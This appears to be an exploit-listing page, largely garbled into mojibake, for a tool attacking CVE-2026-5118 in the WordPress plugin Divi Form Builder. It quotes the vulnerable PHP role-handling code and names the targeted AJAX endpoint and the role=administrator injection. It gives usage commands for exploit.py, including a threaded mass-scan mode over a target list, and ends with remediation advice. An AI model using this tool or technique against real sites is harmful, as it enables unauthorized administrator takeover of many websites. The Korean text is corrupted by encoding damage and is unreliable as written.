## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YUCAERIN-CVE-2026-5118
# CVE-2026-5118 β Divi Form Builder <= 5.1.2 β μΈμ¦λμ§ μμ μν μ£Όμ
μ ν΅ν κΆν μμΉ
π₯ **μ·¨μ½μ μμ½**
WordPress νλ¬κ·ΈμΈ **Divi Form Builder** λ²μ **< = 5.1.2**λ **μΈμ¦λμ§ μμ κΆν μμΉ** μ·¨μ½μ μ μ·¨μ½ν©λλ€. μ΄ μ¬κ°ν κ²°ν¨μΌλ‘ μΈν΄ **μΈμ¦λμ§ μμ 곡격μ** κ° λ¬Έμ μμ, 견μ μμ, λ΄μ€λ ν° μμ λλ κΈ°ν DFB μ§μ μμμ ν¬ν¨ν λͺ¨λ Divi Form Builder μμμ ν΅ν΄ μ§μ **κ΄λ¦¬μ** κ³μ μ μμ±ν μ μμ΅λλ€.
μ·¨μ½μ μ `FormSubmissionHandler.php` νμΌμ `create_user()` ν¨μμμ λΉλ‘―λ©λλ€. μ΄ ν¨μλ μ μ ν μΈμ¦ λλ νμ© λͺ©λ‘ κ²μ¦ μμ΄ μ¬μ©μκ° μ μΆν POST λ°μ΄ν°μμ `role` λ§€κ°λ³μλ₯Ό μ§μ μλ½ν©λλ€. νλ¬κ·ΈμΈμ μ μΆλ μν μ΄ μμ€ν
μ **μ‘΄μ¬νλμ§** λ§ νμΈν©λλ€(μ: `administrator`λ μ ν¨ν WordPress μν ). κ³΅κ° λ±λ‘μ **μμ ν** μν μΈμ§λ μ λ νμΈνμ§ μμ΅λλ€.
**νκΈ°μ μΈ λ°κ²¬:** Divi Form Builderμμ μ¬μ©νλ `fb_nonce`λ **μ μ 곡μ nonce**(`wp_create_nonce('security')`)λ‘, μ¬μ΄νΈμ λͺ¨λ μμμμ λμΌν©λλ€. λν `form_type=register`λ 곡μ AJAX νΈλ€λ¬λ‘ **POSTλ₯Ό ν΅ν΄ μ¬μ μ** λ μ μμ΅λλ€. μ¦, λͺ¨λ DFB μμ(λ¬Έμ, 견μ , νΌλλ°± λ±)μ 무기ννμ¬ μμμ μν ν λΉμΌλ‘ μ¬μ©μ λ±λ‘μ νΈλ¦¬κ±°ν μ μμ΅λλ€.
π **μν₯λ°λ νλ¬κ·ΈμΈ**
* **νλ¬κ·ΈμΈ μ΄λ¦:** Divi Form Builder
* **μν₯λ°λ λ²μ :** <= 5.1.2
* **μ·¨μ½μ μ ν:** μν μ£Όμ
μ ν΅ν μΈμ¦λμ§ μμ κΆν μμΉ
* **CVE ID:** CVE-2026-5118
* **CVSS μ μ:** 9.8 (μ¬κ°)
* **CWE:** CWE-266 β μλͺ»λ κΆν ν λΉ
* **μν₯:** μ 체 μ¬μ΄νΈ μ₯μ
β κ΄λ¦¬μ κ³μ μμ±
𧨠**곡격μκ° ν μ μλ μΌ**
π§ͺ **μ΅μ€νλ‘μ κΈ°λ₯**
* π **μΈμ¦ λΆνμ**
* π **λͺ¨λ DFB μμμ ν΅ν΄ μλ** β λ¬Έμ, 견μ , λ΄μ€λ ν°, νΌλλ°± λ±
* π― **AJAX μλν¬μΈνΈ λμ** `/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler`
* π§ **μν μ£Όμ
** β μΌλ° μμ νλμ ν¨κ» `role=administrator` μ μ‘
* π **λλ μ€μΊ μ§μ** β μλ κ²μμ΄ ν¬ν¨λ μ€λ λ λ€μ€ λμ μ€μΊλ
* π **κ²°κ³Ό μ μ₯ μμΉ** `result.txt`
π§ **μ·¨μ½ν μ½λ**
root@kitploit:~
// includes/shared/handlers/FormSubmissionHandler.php ~ line 2250
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// ~ line 2278 β ONLY checks if role EXISTS, not if it is SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // β "administrator" EXISTS, so this check PASSES
}
// ~ line 2301 β Directly applies the injected role
$user = new WP_User($user_id);
$user->set_role($role); // β PRIVILEGE ESCALATION!
π **μ¬μ©λ²**
### λ¨μΌ λμ
root@kitploit:~
python3 exploit.py -t http://target.com
python3 exploit.py -t https://target.com -u hacker -p Pass123! -e some-email@example.com
### λλ μ€μΊ (http/https μμ΄ λͺ©λ‘ μ¬μ©)
`targets.txt` νμΌ μμ±:
root@kitploit:~
target1.com
target2.com:8080
192.168.1.50
subdomain.target.com
root@kitploit:~
python3 exploit.py -l targets.txt -T 20
### μ΅μ
π **μμ κΆμ₯ μ¬ν**
root@kitploit:~
// SECURE: Allowlist only safe roles for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // β Reject ALL dangerous roles
}
* νλ‘ νΈμλ μμμμ `role` μ¨κΉ μ
λ ₯μ μμ ν μ κ±°νμΈμ.
* κΆν μλ μν μ λν΄ `current_user_can('create_users')` κΈ°λ₯ κ²μ¬λ₯Ό μΆκ°νμΈμ.
* μ μ nonce λμ μμλ³λ‘ λ²μκ° μ§μ λ μ격ν nonce κ²μ¦μ ꡬννμΈμ.
* λ±λ‘ AJAX μλν¬μΈνΈμ μλ μ νμ μΆκ°νμΈμ.
π§ **μ°κ΅¬μ**
* ν¬λ λ§: 0xd4rk5id3
π **μ°Έκ³ μλ£**
* Wordfence 곡μ§
* μλ³Έ CVE μ μ₯μ
π **λ©΄μ±
μ‘°ν:**
μ΄ μ 보λ **κ΅μ‘** λ° **곡μΈλ μΉ¨ν¬ ν
μ€νΈ** λͺ©μ μΌλ‘λ§ μ 곡λ©λλ€. νκ° μμ΄ μ»΄ν¨ν° μμ€ν
μ μ
μ©νλ κ²μ λΆλ²μ΄λ©° λΉμ€λ¦¬μ μ
λλ€. μμ νμ§ μμ λμμ λν΄ ν
μ€νΈνκΈ° μ μ νμ λͺ
μμ μΈ μλ©΄ νκ°λ₯Ό λ°μΌμμμ€.